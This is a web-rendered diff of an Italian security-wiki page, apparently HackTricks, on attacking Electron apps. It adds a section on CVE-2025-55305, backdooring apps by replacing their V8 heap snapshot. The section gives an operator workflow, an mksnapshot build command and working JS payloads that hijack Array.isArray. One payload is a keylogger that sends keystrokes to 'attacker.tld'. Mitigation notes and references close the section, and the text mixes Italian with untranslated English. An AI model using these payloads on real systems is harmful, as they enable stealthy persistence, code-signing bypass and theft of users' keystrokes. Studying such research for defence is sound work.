In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puoi trovare un laboratorio per sfruttare app Electron vulnerabili.
|
||||
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) puoi trovare un laboratorio per sfruttare applicazioni Electron vulnerabili.
|
||||
|
||||
Al alcuni comandi che ti aiuteranno con il laboratorio:
|
||||
Alcuni comandi che ti aiuteranno con il laboratorio:
|
||||
```bash
|
||||
# Download apps from these URls
|
||||
# Vuln to nodeIntegration
|
||||
@ -430,14 +435,127 @@ cd vulnerable1
|
||||
npm install
|
||||
npm start
|
||||
```
|
||||
## **Riferimenti**
|
||||
## Backdoor locale tramite manomissione dello snapshot heap di V8 (Electron/Chromium) – CVE-2025-55305
|
||||
|
||||
Le app basate su Electron e Chromium deserializzano all'avvio uno snapshot heap di V8 precompilato (v8_context_snapshot.bin, e opzionalmente browser_v8_context_snapshot.bin) per inizializzare ogni V8 isolate (main, preload, renderer). Storicamente, le fuse di integrità di Electron non consideravano questi snapshot come contenuto eseguibile, quindi sfuggivano sia all'enforcement di integrità basato su fuse sia ai controlli di code-signing del sistema operativo. Di conseguenza, sostituire lo snapshot in un'installazione scrivibile dall'utente consentiva l'esecuzione stealth e persistente di codice all'interno dell'app senza modificare i binari firmati o l'ASAR.
|
||||
|
||||
Punti chiave
|
||||
- Gap di integrità: EnableEmbeddedAsarIntegrityValidation e OnlyLoadAppFromAsar validano il JavaScript dell'applicazione all'interno dell'ASAR, ma non coprivano gli snapshot heap di V8 (CVE-2025-55305). Chromium analogamente non verifica l'integrità degli snapshot.
|
||||
- Preconditions dell'attacco: scrittura locale di file nella directory di installazione dell'app. Questo è comune su sistemi dove le app Electron o i browser Chromium sono installati in percorsi scrivibili dall'utente (es., %AppData%\Local su Windows; /Applications con avvertenze su macOS).
|
||||
- Effetto: esecuzione affidabile di JavaScript dell'attaccante in qualsiasi isolate mediante la sovrascrittura di un builtin usato frequentemente (un “gadget”), consentendo persistenza ed elusione della verifica di code-signing.
|
||||
- Superficie interessata: app Electron (anche con le fuse abilitate) e browser basati su Chromium che caricano snapshot da posizioni scrivibili dall'utente.
|
||||
|
||||
Generare uno snapshot malevolo senza compilare Chromium
|
||||
- Usare il prebuilt electron/mksnapshot per compilare un payload JS in uno snapshot e sovrascrivere il v8_context_snapshot.bin dell'applicazione.
|
||||
|
||||
Esempio di payload minimale (dimostrare l'esecuzione forzando un crash)
|
||||
```js
|
||||
// Build snapshot from this payload
|
||||
// npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
// Replace the application’s v8_context_snapshot.bin with the generated file
|
||||
|
||||
const orig = Array.isArray;
|
||||
|
||||
// Use Array.isArray as a ubiquitous gadget
|
||||
Array.isArray = function () {
|
||||
// Executed whenever the app calls Array.isArray
|
||||
throw new Error("testing isArray gadget");
|
||||
};
|
||||
```
|
||||
Isolate-aware payload routing (eseguire codice diverso nel main rispetto al renderer)
|
||||
- Rilevamento del main process: i globali esclusivi di Node come process.pid, process.binding(), o process.dlopen sono presenti nell'isolate del main process.
|
||||
- Rilevamento Browser/renderer: i globali esclusivi del Browser come alert sono disponibili quando si esegue in un contesto del documento.
|
||||
|
||||
Esempio di gadget che verifica una volta le capacità Node del main process
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
|
||||
Array.isArray = function() {
|
||||
// Defer until we land in main (has Node process)
|
||||
try {
|
||||
if (!process || !process.pid) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
// Run once
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
console.log('[payload] isArray hook started ...');
|
||||
|
||||
// Capability probing in main
|
||||
console.log(`[payload] unconstrained fetch available: [${fetch ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained fs available: [${process.binding('fs') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained spawn available: [${process.binding('spawn_sync') ? 'y' : 'n'}]`);
|
||||
console.log(`[payload] unconstrained dlopen available: [${process.dlopen ? 'y' : 'n'}]`);
|
||||
process.exit(0);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Renderer/browser-context furto di dati PoC (ad es., Slack)
|
||||
```js
|
||||
const orig = Array.isArray;
|
||||
Array.isArray = function() {
|
||||
// Wait for a browser context
|
||||
try {
|
||||
if (!alert) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
} catch (_) {
|
||||
return orig(...arguments);
|
||||
}
|
||||
|
||||
if (!globalThis._invoke_lock) {
|
||||
globalThis._invoke_lock = true;
|
||||
setInterval(() => {
|
||||
window.onkeydown = (e) => {
|
||||
fetch('http://attacker.tld/keylogger?q=' + encodeURIComponent(e.key), {mode: 'no-cors'})
|
||||
}
|
||||
}, 1000);
|
||||
}
|
||||
return orig(...arguments);
|
||||
};
|
||||
```
|
||||
Workflow dell'operatore
|
||||
1) Write payload.js that clobbers a common builtin (e.g., Array.isArray) and optionally branches per isolate.
|
||||
2) Build the snapshot without Chromium sources:
|
||||
- npx -y electron-mksnapshot@37.2.6 "/abs/path/to/payload.js"
|
||||
3) Sovrascrivere i file snapshot dell'applicazione target:
|
||||
- v8_context_snapshot.bin (always used)
|
||||
- browser_v8_context_snapshot.bin (if the LoadBrowserProcessSpecificV8Snapshot fuse is used)
|
||||
4) Avviare l'applicazione; il gadget viene eseguito ogni volta che il builtin scelto viene utilizzato.
|
||||
|
||||
Note e considerazioni
|
||||
- Integrity/signature bypass: Snapshot files are not treated as native executables by code-signing checks and (historically) were not covered by Electron’s fuses or Chromium integrity controls.
|
||||
- Persistence: Replacing the snapshot in a user-writable install typically survives app restarts and looks like a signed, legitimate app.
|
||||
- Chromium browsers: The same tampering concept applies to Chrome/derivatives installed in user-writable locations. Chrome has other integrity mitigations but explicitly excludes physically local attacks from its threat model.
|
||||
|
||||
Rilevamento e mitigazioni
|
||||
- Treat snapshots as executable content and include them in integrity enforcement (CVE-2025-55305 fix).
|
||||
- Prefer admin-writable-only install locations; baseline and monitor hashes for v8_context_snapshot.bin and browser_v8_context_snapshot.bin.
|
||||
- Detect early-runtime builtin clobbering and unexpected snapshot changes; alert when deserialized snapshots do not match expected values.
|
||||
|
||||
## **References**
|
||||
|
||||
- [Trail of Bits: Subverting code integrity checks to locally backdoor Signal, 1Password, Slack, and more](https://blog.trailofbits.com/2025/09/03/subverting-code-integrity-checks-to-locally-backdoor-signal-1password-slack-and-more/)
|
||||
- [Electron fuses](https://www.electronjs.org/docs/latest/tutorial/fuses)
|
||||
- [Electron ASAR integrity](https://www.electronjs.org/docs/latest/tutorial/asar-integrity)
|
||||
- [V8 custom startup snapshots](https://v8.dev/blog/custom-startup-snapshots)
|
||||
- [electron/mksnapshot](https://github.com/electron/mksnapshot)
|
||||
- [MITRE ATT&CK T1218.015](https://attack.mitre.org/techniques/T1218/015/)
|
||||
- [Loki C2](https://github.com/boku7/Loki/)
|
||||
- [Chromium: Disable loading of unsigned code (CIG)](https://chromium.googlesource.com/chromium/src/+/refs/heads/lkgr/docs/design/sandbox.md#disable-loading-of-unsigned-code-cig)
|
||||
- [Chrome security FAQ: physically local attacks out of scope](https://chromium.googlesource.com/chromium/src/+/HEAD/docs/security/faq.md#why-arent-physically-local-attacks-in-chromes-threat-model)
|
||||
|
||||
- [https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028](https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028)
|
||||
- [https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d](https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d)
|
||||
- [https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8](https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8)
|
||||
- [https://www.youtube.com/watch?v=a-YnG3Mx-Tg](https://www.youtube.com/watch?v=a-YnG3Mx-Tg)
|
||||
- [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s)
|
||||
- Maggiori ricerche e articoli sulla sicurezza di Electron in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- More researches and write-ups about Electron security in [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking)
|
||||
- [https://www.youtube.com/watch?v=Tzo8ucHA5xw\&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq\&index=81](https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81)
|
||||
- [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
|
||||
|
||||
|
Loading…
x
Reference in New Issue
Block a user